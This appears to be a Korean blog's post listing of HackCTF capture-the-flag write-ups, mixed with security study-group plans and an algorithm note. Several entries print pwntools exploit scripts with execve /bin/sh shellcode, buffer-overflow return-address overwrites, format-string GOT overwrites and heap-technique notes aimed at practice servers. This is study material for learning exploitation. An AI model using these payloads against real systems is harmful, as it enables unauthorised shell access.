anonymous?

1. 보호기법 확인 계속 ex가 안 되서 뭐가 문제인가 했더니 쉘코드를 기존에 사용하던 것과 다른 것을 사용해야 한다고 한다.. "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" 이 쉘코드를 사용하니까 제대로 쉘이 따졌다. 2. exploit code #!/usr/bin/python from pwn import * context.log_level = 'debug' #p = process("./Simple_size_bof") p = remote("ctf.j0n9hyun.xyz", 3005) p.recvuntil("buf: ") buf = int(p.recv(14), 16) log.info..

SYSTEM HACKING/HackCTF 2020. 1. 1. 17:21

1. 보호기법 확인 2. exploit code #!/usr/bin/python from pwn import * #p = process("./64bof_basic") p = remote("ctf.j0n9hyun.xyz", 3004) callMeMaybe = 0x400606 pay = 'A'*0x118 + p64(callMeMaybe) p.sendline(pay) p.interactive() 그냥 return address 전까지를 다 dummy로 주고 return address를 shellcode를 실행해주는callMeMaybe 함수의 주소로 변조하면 된다. 3. exploit

SYSTEM HACKING/HackCTF 2020. 1. 1. 17:19

Name에 24 바이트짜리 쉘코드를 넣어놓고 (nop으로 바인딩) gets 함수는 버퍼오버플로우 취약점이 있으므로 s와 sfp를 dummy로 채우고 Return address에 &name을 주면, return 시 name으로 리턴해서 name에 들어있는 쉘코드가 실행될 수 있다. #!/usr/bin/python from pwn import * #context.log_level = 'debug' #p = process("./prob1") p = remote("ctf.j0n9hyun.xyz", 3003) name = 0x804a060 pay = '\x90'*13 pay += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\x..

SYSTEM HACKING/HackCTF 2020. 1. 1. 17:18

1. IDA snprintf 함수는 character string인 format에 s의 0x400 바이트를 적는다. snprintf() 함수에서 format string bug 취약점 발생 2. 보호기법 확인 3. pseudo code 4. 실행 AAAA로 값을 주고 %x를 몇 개 줘서 출력값을 확인해보면 A의 아스키코드값인 41이 두 번째에 들어가있다. FSB에서 사용하는 방법 중 하나는 %n을 사용해서 특정 libc 주소의 got를 원하는 주소 값으로 overwrite하는 것이다. %n 지시자는 출력된느 내용을 카운팅해서 %n으로 받아 값을 저장한다. 따라서 %n 지시자를 위와 같이 overwrite하길 바라는 AAAA와 같은 값의 위치에 주면, AAAA가 써있는 곳에 원하는 값으로 overwrite..

SYSTEM HACKING/HackCTF 2020. 1. 1. 17:15

1. exploit code #!/usr/bin/python from pwn import * #p = process("./bof_basic2") p = remote("ctf.j0n9hyun.xyz", 3001) elf = ELF("./bof_basic2") shell = elf.symbols['shell'] p.sendline('A'*(0x8c-0xc) + p32(shell)) p.interactive() 2. exploit

SYSTEM HACKING/HackCTF 2020. 1. 1. 16:58

1. exploit code #!/usr/bin/python from pwn import * p = remote("ctf.j0n9hyun.xyz", 3000) p.sendline('A'*(0x34-0xc) + p32(0xdeadbeef)) p.interactive() 2/ exploit

SYSTEM HACKING/HackCTF 2020. 1. 1. 16:57

1. 보호기법 확인 2. offset 구하기 &puts - &system = 0x2a300 “pop rdi; ret” : 0x400bc3 puts – libc = libc.symbols[‘puts’] libc = puts- libc_puts_off binsh_addr = libc+libc_binsh_off system_addr = puts – puts_system_off 3. exploit code 그냥 puts 주소를 write로 leak 하고 libc, /bin/sh, system 주소를 구한 offset 주소로 구한다. Don’t break the rules…:( 뒤에 띄어쓰기가 있는 것을 주의.. 그리고 puts로 출력했기 때문에 \n을 같이 받는다. 4. exploit

SYSTEM HACKING/CTF, etc 2020. 1. 1. 16:54

1. heap에서 병합이 일어나는 경우 1) prev_inuse 비트가 해제된 청크를 해제(free) 시 prevChunk와 병합 또는 prev_inuse 비트가 해제된 청크 앞으로 두 번째 청크가 해제됐을 때 그 뒤 청크와 병합 2) largeChunk 할당(malloc) 시 fastbinChunk와 인접해있는 경우 fastbinChunk와 병합 2. fastbin_dup_consolidate - 청크 병합 시 발생하는 취약점 - largeChunk를 할당했을 때 fastbinChunk와 인접해있지 않은 경우 fastbinChunk가 smallbin으로 이동하는 것을 이용한 기법 fastbin에서 해제되고 fastbinsY[i]에 있던 경우 bins[i+1]에 들어간다. 이후 다음 fastChunk의 ..

SYSTEM HACKING/Exploit Tech 2020. 1. 1. 16:47

1. 인원 한 팀 당 최대 2명 2. 주제 보안 관련 공부하고 싶은 분야 자율적 선택 (ex. 포너블, 웹, 리버싱, 포렌식 등..) 3. 스터디 1주차 : 공부 자료 선정, 2~7주차 공부계획 세우기 2~7주차 : 선정한 공부자료로 스터디 7주차 : 이제까지 공부한 내용을 토대로 발표자료 완성. 과제제출하는 7주차 일요일 11시까지 발표자료 올리기 4. 과제 세미나 스터디 : 공부한 내용 정리 보고서 기존 과제 : 웹 or 포너블 중 택1 (단, 발표주제가 포너블이면 웹, 웹이면 포너블을 선택) 5. 회의 발표 - 모든 세미나 준비 팀이 진행상황 보고 6. 세미나 발표 2/28(금)

SISS/2020 2019. 12. 23. 15:14

항상 문제 풀 때마다 설정: $ bash2 $ ulimit -c unlimited 이 설정을 해야 쉘이 제대로 따짐. 최초에 1번만 하면 되는 설정: VMWare Workstation Player에 redhat linux 6.2 라는 LOB를 설치한 후에, LILO boot : 가 뜨면 linux-up 을 입력한다. 그러면 부팅이 완료된 후 이렇게 LOB 초기 로그인 창이 뜬다. (참고로 이 로그인 창은 window 키를 누르면 갈 수 있다!) 처음 레벨 아이디/비번은 gate/gate $ netconfig 명령어를 입력하면 다음과 같은 창이 된다. 키로 select. Yes를 누른다. Use dynamic IP configuration (BOOTP/DHCP) 에서 [ ] 안에 키를 눌러서 select ..

SYSTEM HACKING/LOB Redhat 2019. 12. 23. 14:40

과제 기한 과제 내용 1/6 ~ 1/12 VMWare WorkStation Player에 Ubuntu 16.04 설치 (필수) OverTheWire: Wargames -> Bandit level0 ~ level9->level10 (리눅스 명령어 익히기, 리눅스시스템 강의자료 참고하면서) 1/13 ~ 1/19 VMWare Workstation에 LOB 설치, 달고나 BOF 문서 공부&정리 1/20 ~ 1/27 LOB gate->gremlin, gremlin->cobolt 1/28 ~ 2/2 LOB cobolt->goblin, goblin->orc 2/3 ~ 2/9 LOB orc->wolfman, wolfman->darkelf 2/10 ~ 2/16 LOB darkelf->orge, orge->troll 2/..

SISS/2020 2019. 12. 23. 14:31

Collection 중 하나인 Vector를 사용해서 list 안에 있으면 remove, 없으면 add 한다. 주의 할 점은 형을 char형으로 받지 않아서 remove나 add할 때 b+"" 으로 char형을 String 형으로 형변환해줬다. 테스트 케이스 수를 nextInt로 입력받을 때 엔터가 버퍼에 남아있으므로 scan.nextLine()으로 지워준다.

PROGRAMMING/Algorithm 2019. 12. 23. 11:57